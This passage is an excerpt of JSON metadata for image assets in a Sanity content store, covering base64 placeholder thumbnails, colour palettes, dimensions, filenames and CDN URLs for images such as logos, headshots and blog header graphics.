z648zvG+1WiV7dnYSClBr3pmVA2zgVjdmRvMzMmP5xd1He2k8lB0xg90Z/W+q0x5O95nB7kOiYFtacc8Tn37z1eXPvbSkMd3fUxdKWe9TpQIavPmm3EU53Es53McE3uaK+2fnKsUXcpViZ65SPJqrFMu5SvFQrlJsyY0XH+47MXCxjwqcraccZlAOcymHB7w/5XCHB65iAlsDkJ2hVxeUT7piena2XFicLRc6suVCKVsubMqWC49kxwrTd23vIu0BqwtRXXF2ZrcwgQHlsJVyeNsD3wpAalDmJBo3IpTZHoBcYPpSt2dG889mywU/Jvf3nDhwUTsGpDPk5wYgrwNtX5HGdYG2YyHKcSZwL+Ww0AObuNSfKxuVTJScVi46Csp0hKhWiMg+pbLJfZhyTUzg1Uzg7BDVo6DtZ9rFUkfxmDRukqNKM4HLKIcrPXAql3oOavudclHJy1Zt4W1UQG33gjbrQJlVQpnVoO0GZSNmouSgiZKTXkyEMtkA5MdMYBPlUO+10Hf6/BDVXKHMSmmj5KzuVU2UnNIuHvP6qFw8YqKkbOOUf/C0NO6okBoCkCuYwJt9YC5Jk5rsR6luD/W1aeKolghlNqKxiTRuGI2bRGOrykZV5aIT0rjDoIwXkbVM4CLK4Ro/Nq272mvqT7wohqjI4SNDpCuEKZSDX6U7mcB3ApDtAcjhAOSpEKRXo38DkNuYwKWUw62Uw4UByLoknanB/C/gf2dhn9pLHMWaAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#344434","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040c08","foreground":"#fff","population":0.5,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040c08","foreground":"#fff","population":0.5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4c1b4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ccefdc","foreground":"#000","population":0.05,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#73867c","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3fbf7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"pci-dss-938a9301417c63b63089cae96b1b50b8.svg","path":"images/sczeoy4w/production/944a089647472efca13339e338e66603cd1f1d09-224x231.svg","sha1hash":"944a089647472efca13339e338e66603cd1f1d09","size":24974,"uploadId":"8qqNAm04mi0J2ZvBPv7s71vQLDxfMVwQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/944a089647472efca13339e338e66603cd1f1d09-224x231.svg"} {"_createdAt":"2022-12-16T10:30:46Z","_id":"image-9474ea77e5f8495c97c34a0d0928bee34f15a59b-1200x630-jpg","_rev":"K0rtrsNuqDEgCtVQH61UoS","_type":"sanity.imageAsset","_updatedAt":"2022-12-16T10:30:46Z","assetId":"9474ea77e5f8495c97c34a0d0928bee34f15a59b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MPP?j%yst7Hr.ScEROnOXmt7yEMdXRxbVs","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUGB//EACMQAAICAQMDBQAAAAAAAAAAAAECAwQABQYREiFBFTFxkcH/xAAWAQEBAQAAAAAAAAAAAAAAAAADAQL/xAAeEQACAgICAwAAAAAAAAAAAAABAgADESEEEiIxkf/aAAwDAQACEQMRAD8A300rr3XZ7TLXPPARu4yf33qk1KGsac/TJWkDSBm4LL+5WQgC057/AHk7uKhVt7j09bEKupB5B8/OSzsV8Y/GrD2Yb0N/NxptfVfV9GhtsR1NyDwPIwxlWrw1oRFBGsca+yqOAMM0gIUAwbGDMSowJ//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#59453d","foreground":"#fff","population":0.34,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc1434","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f69415","foreground":"#000","population":3.82,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cdbca1","foreground":"#000","population":1.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6c9c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8d5855","foreground":"#fff","population":0.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f69415","foreground":"#000","population":3.82,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Trademark_Policy_meta_preview.jpg","path":"images/sczeoy4w/production/9474ea77e5f8495c97c34a0d0928bee34f15a59b-1200x630.jpg","sha1hash":"9474ea77e5f8495c97c34a0d0928bee34f15a59b","size":55305,"uploadId":"o6xP5vTxxm2xVF1zl5FvIxPjnRzLiEbo","url":"https://cdn.sanity.io/images/sczeoy4w/production/9474ea77e5f8495c97c34a0d0928bee34f15a59b-1200x630.jpg"} {"_createdAt":"2024-01-22T11:30:59Z","_id":"image-948b6b073294dd601c1ad6b630aa2a5c2dad36df-1200x745-png","_rev":"N7VZLFKUEyikMppFqq7Gmc","_type":"sanity.imageAsset","_updatedAt":"2024-01-22T11:30:59Z","assetId":"948b6b073294dd601c1ad6b630aa2a5c2dad36df","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V98NCTD,0J~TvfF4n$,-NeE*SOoKsmWER-wHR*OZ%1wb","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.610738255033557,"height":745,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAADCklEQVQokW3SSUwTURjA8Y+oaAgzhcJMSzc6tGUpiyxtgKoQgoAUWjozLU2lLD0oiAREwCIKQoWylRSRxbIJIUEPxuhNTySGI0cTTPBg4kGiiUYNoMbOM0OiCanv8v6nX76X9wEAAEYyECumAYutBJygKVEcPUspq3+oEp1IrHSgaLEV4SSDBCIWqbT1+yamxz8ytizXGVogv7ANNjY24MjBSQZEchuEC4yAEbRKqrTPpqS5vmXqG1F6TiPSZl1C6lTXIa5Ja/hSZb01NuZbkZZW3IBysxs2NzdDQWVSHYTjlXwnUsl1gdxzrV/PG92oxOgOFpe7ubyCtiCVXI8S012fzOzNoZHxh2KnywPOBg9sbW2FgupUF0THWflOUWhql7Nym78XnO9ARaWdXGFxO5epvxyUJVxE6rSGjxV0d//g8CLRcs0Hza3jYdvb26GgTFUDMVIb32mErHpNrnHu8c/UZrg4fZaD02nNQQ1lQhkZNR8sTFfPoDcQ0+n2Q0fXRNju7m4oGCVm//ZpnGQeRYnY/SixFUnlFq4wtZhz6PI4u86AaouM79vrGrv8YzPRntvjMNLrBYTQURAjaIiMqTq8MYLOxgj6CUbQBxhBo3hZBWfPyeMGirXccJkW+dj8d9NXHW2Lk1OCSY8Xlob6YGdnJ3RCnKT5leFbj5PMM5xkfmAEgzTxxmDL2WxuqUoZnDOp0QSb+9bf5GgOTE7jQ32jEBi8EzohD0KEEY5jh79sEEqsL0h59W+hxIpUigrUciYbrbNytEJTaJLVv5m4bL90zz8f2dXth/uegaPYPxDKAMLLwwQkkyel7E/VyTWfJZR9TyE3HTj1uT/nzQm/li0JwUB11uvAFbp+dnoxor/XBwveO6GggAePVQJEmEAgYiip0takTrJPSZS2ZZnM/JjNNjwfKUt+OXoh5ZXPolt/0GQpX1tcOjnnHYLV0f+AUSIWTsXYABdZefCEUEwLCQktE8axKoWiKr0ysyD/iiGnpNGgo6+XnjN6G2zK9ZXVYzODd2Fh2HME+wPZHA2hFZkIVgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#322d57","foreground":"#fff","population":0.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#672b0a","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e66811","foreground":"#fff","population":0.56,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccacac","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4b4d4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b18a5e","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e66811","foreground":"#fff","population":0.56,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Header Image-1200x745.png","path":"images/sczeoy4w/production/948b6b073294dd601c1ad6b630aa2a5c2dad36df-1200x745.png","sha1hash":"948b6b073294dd601c1ad6b630aa2a5c2dad36df","size":183743,"uploadId":"AuJpBI0KAZfgYrs8Iz9ugyjCXvLiUwim","url":"https://cdn.sanity.io/images/sczeoy4w/production/948b6b073294dd601c1ad6b630aa2a5c2dad36df-1200x745.png"} {"_createdAt":"2022-10-25T08:37:11Z","_id":"image-948e525bda8d8b6bce2b909a7ec47606ef24ac6e-850x405-png","_rev":"o6tzS9VqKAkmnDQmLHVcYB","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T08:37:11Z","assetId":"948e525bda8d8b6bce2b909a7ec47606ef24ac6e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5SY{qIpV??bog_NIUWVj[RP-;RjM{M{WV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.0987654320987654,"height":405,"width":850},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA1UlEQVQokX2R227EMAhE8//fur4wwADpS0VSaats1SOekI8x48PMRbC3ABoRmZU/VFV9/csB1THmGHOtDejemHOttUREVSNYdV3zJKuq5ev01sbW2mPMebf2BuDu+SCYZGYeTooAABlkiNyT910iH3JEunVlHplpZpfMiJZvB1BAzfwK4hdkmj5ld5IEOrzbuXlMjZbxlvVau19IKlREzOw5sM2ge5i95apStddrzLncjKamvedfMqkakFRJdhDHeZ5XTg3du9tJxuf/dNN7bJlVf2F9A9rWBc1HeZKKAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6d6d6e","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#77380c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fbe7d9","foreground":"#000","population":0.16,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4bcac","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbe7d9","foreground":"#000","population":0.16,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7d7c7d","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e66d18","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"948e525bda8d8b6bce2b909a7ec47606ef24ac6e-850x405.png","path":"images/sczeoy4w/production/948e525bda8d8b6bce2b909a7ec47606ef24ac6e-850x405.png","sha1hash":"948e525bda8d8b6bce2b909a7ec47606ef24ac6e","size":13545,"uploadId":"CUGTDF1yk6b5UyLJ2WXSQgXlXUqDAX9F","url":"https://cdn.sanity.io/images/sczeoy4w/production/948e525bda8d8b6bce2b909a7ec47606ef24ac6e-850x405.png"} {"_createdAt":"2022-06-16T22:54:09Z","_id":"image-949ab0e98b233f624d56c1d7edfd96483a84cfd2-2200x430-png","_rev":"0HOthdQkSgJdYc0C9vxZ6Z","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:54:09Z","assetId":"949ab0e98b233f624d56c1d7edfd96483a84cfd2","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"43Pm{.$P0~|^1J","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.116279069767442,"height":430,"width":2200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAAAzElEQVQYlS2Qy0oDURBEB9yKGhlFfMSM0YB0uXFjIEgEIb6wy/f/f8k9ci+zKGhONUVXdzh2sKr2sHqs3ZJxSmpRrOnIjrGGknFCZakrHLPR64uj+gdYWx2OBdYN1h2pB7LOsSLDWCbjsWS8kfGLlY05vrBesZZYK6x3rDXWfod1Xax7rJdx6bbUxYw6/7Tg1Ka4qbIPrG+sT6wNjiesP6zn2qQGTrDq+ZdY5zh6MiYl44jUQMaspPqS7TWHWGdkXOBWe45jwJo3bm3/A92NhDr3vqsaAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#653945","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#921005","foreground":"#fff","population":0.93,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#921005","foreground":"#fff","population":0.93,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#96020f","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc4454","foreground":"#fff","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9f5f4b","foreground":"#fff","population":0.52,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4480b","foreground":"#fff","population":0.15,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"LaFamiglia_Logo_RGB_orange.png","path":"images/sczeoy4w/production/949ab0e98b233f624d56c1d7edfd96483a84cfd2-2200x430.png","sha1hash":"949ab0e98b233f624d56c1d7edfd96483a84cfd2","size":42991,"uploadId":"sFFopuXAnZafEvyDHMJM9AURiUUyf8kW","url":"https://cdn.sanity.io/images/sczeoy4w/production/949ab0e98b233f624d56c1d7edfd96483a84cfd2-2200x430.png"} {"_createdAt":"2023-10-10T11:40:57Z","_id":"image-94b5bf622526da7c214f9cd1a90f5b5af4e0f4d7-1381x1052-png","_rev":"O8L03TCW3b6GOcRVacHVLQ","_type":"sanity.imageAsset","_updatedAt":"2023-10-10T11:40:57Z","assetId":"94b5bf622526da7c214f9cd1a90f5b5af4e0f4d7","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3127376425855513,"height":1052,"width":1381},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAABA0lEQVQokY1T7Y6DMAzr+7/s6QbNt9spYQN0Yzqs/ChS3cR2aD+/3Lswi5kBGB8AoKrMLKKqFgmYuao1NXcPMzer0xX8BFQDFFogMBARktAv9LwakTXGmG809ZwWgIgSs6h6OMbF/Bt2ZpLN8yoAZllW6sz53MC8gYZ6LBBEtKxEnJNfOvfZu21fgdRcnl+LLsFR4g9+Gra5V2S2//qOc2crhalZZO1EKhb+x5jvmoExR0R04sfaicW8Arnj9ixEBDN3Yi2/4p3qXlvOOCveO285s8hL803yrjmXhJhNHF5jz3PNeRwOstfKZc7My5r/iOba3DPslXNE7/RYOrF73KPO+QRSG3gZyLe7PQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#0e0e8a","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c0c78","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a8d4a8","foreground":"#000","population":0.01,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8d4a8","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b4e4b4","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#646ca0","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7070f0","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"data-kafka.png","path":"images/sczeoy4w/production/94b5bf622526da7c214f9cd1a90f5b5af4e0f4d7-1381x1052.png","sha1hash":"94b5bf622526da7c214f9cd1a90f5b5af4e0f4d7","size":41750,"uploadId":"dvjl9OzyyH08UpHR9VOeLoZoIuB7Syzb","url":"https://cdn.sanity.io/images/sczeoy4w/production/94b5bf622526da7c214f9cd1a90f5b5af4e0f4d7-1381x1052.png"} {"_createdAt":"2024-04-11T14:33:35Z","_id":"image-94cde43c1b0e2463c716fbc5fdfeaada30cbf61f-1008x1017-jpg","_rev":"35JauGX9CF98BZDoO14I8X","_type":"sanity.imageAsset","_updatedAt":"2024-04-11T14:33:35Z","assetId":"94cde43c1b0e2463c716fbc5fdfeaada30cbf61f","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"esPQ1@j]~qj[M_~qofM{j@M{IVWBM{j[%g?aj[RjoeWBaefQRkWBof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9911504424778761,"height":1017,"width":1008},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAgGBwH/xAAkEAABBAEDBAMBAAAAAAAAAAABAAIDBAUGBxETITFRCBIicf/EABgBAAMBAQAAAAAAAAAAAAAAAAECAwQF/8QAGREBAQEBAQEAAAAAAAAAAAAAAQACMUER/9oADAMBAAIRAxEAPwCoMlcjoULFubnpwsL3ceeAsNoPc+hqzNT4yOlaqTsaXs6w7PA9LS6uzOIxmJnGauw1oZGFv7dwTz6C41s/YwlXWGRsz5Kuwk/SsHSD9g+kqogHamcDlXyoJF417XNBaQQe4IRH7Toa+Q+Xu39yMjDZmc6Ku7pxs57NH8XNYZpGP5Y9wLe4IPhEW7wnK9tm79jI7bYOxbkMkzoAC4+TwiIufrsL/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#342851","foreground":"#fff","population":1.81,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#140424","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a07967","foreground":"#fff","population":3.77,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c2a797","foreground":"#000","population":1.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#faeee4","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a07967","foreground":"#fff","population":3.77,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f19e5","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"joe-headshot.jpg","path":"images/sczeoy4w/production/94cde43c1b0e2463c716fbc5fdfeaada30cbf61f-1008x1017.jpg","sha1hash":"94cde43c1b0e2463c716fbc5fdfeaada30cbf61f","size":69422,"uploadId":"v56uoSErTOpazkAmzhErBrLTaRfdBXo6","url":"https://cdn.sanity.io/images/sczeoy4w/production/94cde43c1b0e2463c716fbc5fdfeaada30cbf61f-1008x1017.jpg"} {"_createdAt":"2024-06-26T14:15:51Z","_id":"image-9579496b197eeb12c6cc2e7bcb624b0683faed73-1200x628-png","_rev":"m4mXZHpK6l56U588DCLUWR","_type":"sanity.imageAsset","_updatedAt":"2024-06-26T14:15:51Z","assetId":"9579496b197eeb12c6cc2e7bcb624b0683faed73","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TNWa.$Xh+ueC}[pvawiJixb[ahg3bGfh","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACHElEQVQokV3SZ0+TURiA4dOibcUQUHFGTW1pIag14mI4foODIQiiuMW6QMRJmQ1UUZx/9r1vU14TEz88306ucz8nJzCQlon9MlmQcps8K8jLdpkqyKuiTGf1cZPcTci9II8TMt0ki1mpHZW1DlktyOdjstFlYKhRnrTLbI+87ZYPfTJ/USq9stgny+d1tn5Zs0xm5ElKZpplOS+1TlnJytJBqR6R1TYDg/VDHfKmV97Vp1s+9shct1TOSvWSVi/IQpe8L8j0Tnm9Iy5cyUtlr1R2y+J+qbQa6N8qE/vilZ8WpZyTclZe5OT5YZlp0w/HZa70F9wlMy0yfygGl7NSzUk1Kwv7DFxJSP8WGUrLSEZupGUsJeNpub1V7qb0QUYeNcrkNnmakdl64ZH4DddPyNeTsn5MVvMGLgc350qQa0EGg1wPMhJkLMh4kDsJud8gD5NSTsnb3VItxth6Sb6ciGetaIjq0NWk9DfIYFKGEjIc5MZf8HZSJrfL1E6ZapHpZvl4QNY647JaxybE+vHNyhD1bzEabTG61SrjLTKaluHEP3CiQV7ukvm8LORk7pAs5uRzSTZOSa1dVosx/uOcIRpIGd3aa3TvoNzZI2ONMvIfONUq1U6plWSlKNV2+dol38/E/69e9+Oc/OozRFeTRoNpuZ6R4XpdQwyOJuRmIl653CRLRflUkqV8DG6ckZ898u20fD8rv3rld59/AM84/hbcQD+rAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":16.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#935205","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#faba6f","foreground":"#000","population":0.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":16.38,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"IntroducingAivenforValkey.png","path":"images/sczeoy4w/production/9579496b197eeb12c6cc2e7bcb624b0683faed73-1200x628.png","sha1hash":"9579496b197eeb12c6cc2e7bcb624b0683faed73","size":152921,"uploadId":"Xbnk9HprmDIGX1JWdnNToMTHos0PVT2H","url":"https://cdn.sanity.io/images/sczeoy4w/production/9579496b197eeb12c6cc2e7bcb624b0683faed73-1200x628.png"} {"_createdAt":"2023-11-08T07:49:06Z","_id":"image-95941fa5a03e1b18827ebabf7b8cff16563ea310-1785x1190-jpg","_rev":"gK4MWwUyP5b5TOG0CzxM5T","_type":"sanity.imageAsset","_updatedAt":"2023-11-08T07:49:06Z","assetId":"95941fa5a03e1b18827ebabf7b8cff16563ea310","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VCCitCIm~o${En57n$V?NIsm00t94;aP$w?as;%Ms,oI","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5,"height":1190,"width":1785},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQFBgf/xAAiEAABBAIABwEAAAAAAAAAAAABAgQFEQADBgcSIUFhcVH/xAAWAQEBAQAAAAAAAAAAAAAAAAADAgT/xAAaEQADAQEBAQAAAAAAAAAAAAABAhEAAwQS/9oADAMBAAIRAxEAPwDk77k5Kt36W+t412AgnrugCPGTobli/lJZDHU+ZpUVdJUV9gcV28TTE1MtzIvtu1QNXdCvgx+BebGco6GoC1iyfI+ZJ9CIhq05l4FyIZrz/k2pk4OhT9S1pFKI10L9esMy8jxjxBrdLQmUcFKeyQpV0Py8M2o/H5FXAwIM3//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b4a58","foreground":"#fff","population":0.22,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#102095","foreground":"#fff","population":0.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9fafd3","foreground":"#000","population":0.66,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9fafd3","foreground":"#000","population":0.66,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4d555","foreground":"#000","population":0.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a75568","foreground":"#fff","population":0.38,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#168ff2","foreground":"#fff","population":0.28,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"3e4507ee-c3d3-4176-8f6d-e791bdb23c3e.jpeg","path":"images/sczeoy4w/production/95941fa5a03e1b18827ebabf7b8cff16563ea310-1785x1190.jpg","sha1hash":"95941fa5a03e1b18827ebabf7b8cff16563ea310","size":272924,"uploadId":"MfzDDeKmme27nG1HkeEcc4pveBvDUGn4","url":"https://cdn.sanity.io/images/sczeoy4w/production/95941fa5a03e1b18827ebabf7b8cff16563ea310-1785x1190.jpg"} {"_createdAt":"2022-10-03T10:31:33Z","_id":"image-95b3da31f17e1e918613d63bb20db7b6a2b3f25f-1280x720-jpg","_rev":"XMqVxILwpPMz4xYxcCh9h5","_type":"sanity.imageAsset","_updatedAt":"2022-10-03T10:31:33Z","assetId":"95b3da31f17e1e918613d63bb20db7b6a2b3f25f","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":720,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAECAwQI/8QAHxAAAgMAAgIDAAAAAAAAAAAAAQIAAxESUQQTITGR/8QAFgEBAQEAAAAAAAAAAAAAAAAAAAEC/8QAGBEBAAMBAAAAAAAAAAAAAAAAAAECMVH/2gAMAwEAAhEDEQA/AOnivrNYTeOdxBnVG5aB2ZfaoLA59SFtavW6sNBHyNiF3TSxWUHR+wmOnw6FTFrwb2YQ3NK9f//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c2c49","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ab213f","foreground":"#fff","population":0.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#da1b48","foreground":"#fff","population":0.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cc98a5","foreground":"#000","population":0.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f697ae","foreground":"#000","population":0.3,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7e60b2","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#da1b48","foreground":"#fff","population":0.69,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":